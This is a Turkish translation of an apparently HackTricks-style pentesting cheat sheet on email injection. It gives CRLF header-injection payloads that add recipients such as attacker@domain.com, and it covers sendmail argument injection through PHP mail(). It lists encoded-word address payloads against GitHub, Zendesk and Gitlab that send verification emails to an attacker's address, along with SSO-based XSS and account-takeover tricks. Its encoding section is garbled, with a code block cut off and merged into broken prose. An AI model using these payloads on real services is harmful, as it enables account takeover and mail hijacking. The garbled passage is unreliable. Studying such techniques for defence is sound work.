# Email Injections {{#include ../banners/hacktricks-training.md}} ## Gönderilen e-postaya Enjekte Et ### Gönderen argümanından sonra Cc ve Bcc Enjekte Et ``` From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com ``` Mesaj, alıcı ve alıcı1 hesaplarına gönderilecektir. ### Enjekte argümanı ``` From:sender@domain.com%0ATo:attacker@domain.com ``` Mesaj, orijinal alıcıya ve saldırgan hesabına gönderilecektir. ### Inject Subject argument ``` From:sender@domain.com%0ASubject:This is%20Fake%20Subject ``` Sahte konu, orijinal konuya eklenecek ve bazı durumlarda onu değiştirecektir. Bu, mail hizmetinin davranışına bağlıdır. ### Mesajın gövdesini değiştir İki satır besleme enjekte edin, ardından mesajın gövdesini değiştirmek için mesajınızı yazın. ``` From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message. ``` ### PHP mail() fonksiyonu istismarı ```bash # The function has the following definition: php --rf mail Function [ function mail ] { - Parameters [5] { Parameter #0 [ $to ] Parameter #1 [ $subject ] Parameter #2 [ $message ] Parameter #3 [ $additional_headers ] Parameter #4 [ $additional_parameters ] } } ``` #### 5. parametre ($additional_parameters) Bu bölüm, **bir saldırganın bu parametreyi kontrol ettiğini varsayarak bu parametreyi nasıl kötüye kullanacağımıza** dayanacaktır. Bu parametre, PHP'nin ikili sendmail'i çağırmak için kullanacağı komut satırına eklenecektir. Ancak, `escapeshellcmd($additional_parameters)` fonksiyonu ile temizlenecektir. Bir saldırgan, bu durumda **sendmail için ek parametreler enjekte edebilir**. #### /usr/sbin/sendmail uygulamasındaki farklılıklar **sendmail** arayüzü, sistemde kurulu olan **MTA e-posta yazılımı** (Sendmail, Postfix, Exim vb.) tarafından **sağlanmaktadır**. **Temel işlevsellik** (örneğin -t -i -f parametreleri) uyumluluk nedenleriyle **aynı** kalırken, **diğer işlevler ve parametreler** kurulu MTA'ya bağlı olarak büyük ölçüde değişiklik göstermektedir. İşte sendmail komutu/arayüzünün farklı man sayfalarına birkaç örnek: - Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html - Postfix MTA: http://www.postfix.org/mailq.1.html - Exim MTA: https://linux.die.net/man/8/eximReferences **sendmail** ikilisinin kökenine bağlı olarak, bunları kötüye kullanmak ve **dosyaları sızdırmak veya hatta rastgele komutlar çalıştırmak için** farklı seçenekler keşfedilmiştir. Bunu nasıl yapacağınızı kontrol edin [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) ## E-posta adında enjekte et > [!CAUTION] > Eğer rastgele bir alan adıyla (Github, Gitlab, CloudFlare Zero trust...) bir hizmette hesap oluşturmayı başarır ve doğrulama e-postasını mail adresinize alarak doğruladıysanız, kurban şirketin hassas alanlarına erişim sağlayabilirsiniz. ### Bir e-postanın göz ardı edilen kısımları **+, -** ve **{}** sembolleri nadir durumlarda etiketleme için kullanılabilir ve çoğu e-posta sunucusu tarafından göz ardı edilir. - Ör. john.doe+intigriti@example.com → john.doe@example.com **Parantez içindeki yorumlar ()** başlangıçta veya sonunda da göz ardı edilecektir. - Ör. john.doe(intigriti)@example.com → john.doe@example.com ### Beyaz listeyi atlama
https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
### Alıntılar
https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
### IP'ler Kare parantezler arasında alan adı olarak IP'ler de kullanabilirsiniz: - john.doe@\[127.0.0.1] - john.doe@\[IPv6:2001:db8::1] ### E-posta Kodlaması [**bu araştırmada**](https://portswigger.net/research/splitting-the-email-atom) açıklandığı gibi, e-posta adları da kodlanmış karakterler içerebilir: - **PHP 256 taşması**: PHP `chr` fonksiyonu, bir karaktere 256 eklemeye devam eder, pozitif hale geldiğinde `%256` işlemini yapar. - `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @` > [!TIP] > Bu numaranın amacı, `RCPT TO:<"collab@psres.net>collab"@example.com>` gibi bir enjekte ile sonuçlanmaktır.\ > Bu, doğrulama e-postasını beklenen e-posta adresinden farklı bir e-posta adresine gönderecektir (bu nedenle e-posta adının içine başka bir e-posta adresi eklemek ve e-postayı gönderirken sözdizimini bozmak). Farklı kodlamalar: ```bash # Format =? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com # =? -> Start of encode # utf-8 -> encoding used # ? -> separator # q -> type of encoding # ? -> separator # =41=42=43 -> Hex encoded data # ?= end of encoding # Other encodings, same example: # iso-8859-1 =?iso-8859-1?q?=61=62=63?=hi@example.com # utf-8 =?utf-8?q?=61=62=63?=hi@example.com # utf-7 =?utf-7?q??=hi@example.com # q encoding + utf-7 =?utf-7?q?&=41?=hi@example.com # base64 =?utf-8?b?QUJD?=hi@example.com # bas64 + utf-7 =?utf-7?q??=hi@example.com #punycode x@xn--svg/-9x6 → x@` işareti `=3e` ve `null` = `=00` olarak not edin. - Doğrulama e-postası `collab@psres.net` adresine gönderilecektir. - Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com` - Önceki hileyle aynı ama başına bazı normal tırnak ekleyip kodlanmış tırnağı `=22` kodlanmış `@` işaretinden önce ekleyerek ve ardından bir sonraki e-posta için bazı tırnakları açıp kapatarak Zendesk'in dahili olarak kullandığı sözdizimini düzeltmek. - Doğrulama e-postası `collab@psres.net` adresine gönderilecektir. - Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com` - Adresi ayırmak için alt çizgi kullanıldığına dikkat edin. - Doğrulama e-postası `collab@psres.net` adresine gönderilecektir. - Punycode: Punycode kullanarak Joomla'da `) ## Üçüncü taraf SSO ### XSS **github** veya **salesforce** gibi bazı hizmetler, üzerinde **XSS yükleri bulunan bir e-posta adresi oluşturmanıza** izin verir. Eğer bu sağlayıcıları **diğer hizmetlerde oturum açmak için kullanabiliyorsanız** ve bu hizmetler e-postayı **doğru bir şekilde temizlemiyorsa**, **XSS** oluşturabilirsiniz. ### Hesap Ele Geçirme Eğer bir **SSO hizmeti**, verilen e-posta adresini doğrulamadan **bir hesap oluşturmanıza** izin veriyorsa (örneğin **salesforce**) ve ardından bu hesabı **farklı bir hizmette oturum açmak için kullanabiliyorsanız** ve bu hizmet **salesforce'a güveniyorsa**, herhangi bir hesaba erişebilirsiniz.\ _Salesforce, verilen e-postanın doğrulanıp doğrulanmadığını belirtir, ancak uygulama bu bilgiyi dikkate almalıdır._ ## Yanıtla _E-posta gönderebilirsiniz_ _**From: company.com**_ ve _**Replay-To: attacker.com**_ kullanarak ve e-posta **içsel bir adresten** gönderildiği için herhangi bir **otomatik yanıt** gönderilirse, **saldırgan** bu **yanıtı** **alabilir**. ## Sert İade Oranı AWS gibi belirli hizmetler, genellikle %10 olarak ayarlanan **Sert İade Oranı** olarak bilinen bir eşik uygular. Bu, özellikle e-posta teslimat hizmetleri için kritik bir metriktir. Bu oran aşıldığında, AWS'nin e-posta hizmeti gibi hizmetler askıya alınabilir veya engellenebilir. **Sert iade**, alıcının adresinin geçersiz veya mevcut olmadığı için gönderenine geri dönen bir **e-posta** anlamına gelir. Bu, e-postanın mevcut olmayan bir adrese, gerçek olmayan bir alan adına veya alıcı sunucusunun **e-postaları** kabul etmeyi reddetmesi gibi çeşitli nedenlerden kaynaklanabilir. AWS bağlamında, 1000 e-posta gönderdiğinizde ve bunlardan 100'ü sert iadelerle sonuçlandığında (geçersiz adresler veya alanlar gibi nedenlerden dolayı), bu %10 sert iade oranı anlamına gelir. Bu orana ulaşmak veya aşmak, AWS SES (Simple Email Service) tarafından e-posta gönderme yeteneklerinizi engelleyebilir veya askıya alabilir. Kesintisiz e-posta hizmeti sağlamak ve gönderen itibarını korumak için düşük bir sert iade oranını sürdürmek kritik öneme sahiptir. E-posta listelerinizdeki e-posta adreslerinin kalitesini izlemek ve yönetmek, bunu başarmada önemli ölçüde yardımcı olabilir. Daha ayrıntılı bilgi için, AWS'nin iade ve şikayetleri ele alma konusundaki resmi belgelerine [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types) başvurabilirsiniz. ## Referanslar - [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/) - [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) - [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view) - [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0) {{#include ../banners/hacktricks-training.md}}